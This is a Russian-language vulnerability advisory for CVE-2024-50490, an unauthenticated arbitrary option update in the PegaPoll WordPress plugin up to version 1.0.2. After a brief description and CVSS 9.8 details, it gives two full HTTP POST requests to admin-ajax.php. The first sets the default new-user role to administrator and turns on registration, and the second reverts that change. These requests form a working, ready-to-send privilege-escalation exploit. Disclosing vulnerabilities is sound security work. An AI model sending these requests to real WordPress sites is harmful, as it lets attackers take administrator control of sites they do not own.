
PegaPoll <= 1.0.2 - Неаутентифицированное произвольное обновление опций
PegaPoll <= 1.0.2 - Неавторизованное произвольное обновление опций
Плагин PegaPoll для WordPress уязвим к несанкционированной модификации данных, что может привести к повышению привилегий из-за отсутствия проверки прав доступа во всех версиях до 1.0.2 включительно. Это позволяет неавторизованным злоумышленникам обновлять произвольные опции на сайте WordPress. Это можно использовать для смены роли по умолчанию при регистрации на администратора и включения регистрации пользователей, чтобы получить доступ к уязвимому сайту с правами администратора.
Published: 2024-10-25 00:00:00
CVE: CVE-2024-50490
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 9.8
Slugs: pegapoll
Включение регистрации и установка роли «Администратор» для новых пользователей
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/plugins.php?plugin_status=all&paged=1&s
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 91
Origin: http://kubernetes.docker.internal
Connection: keep-alive
action=update_all_options&options[default_role]=administrator&options[users_can_register]=1
Возврат к отключению регистрации и установка роли «Подписчик»
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/plugins.php?plugin_status=all&paged=1&s
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 91
Origin: http://kubernetes.docker.internal
Connection: keep-alive
action=update_all_options&options[default_role]=subscriber&options[users_can_register]=0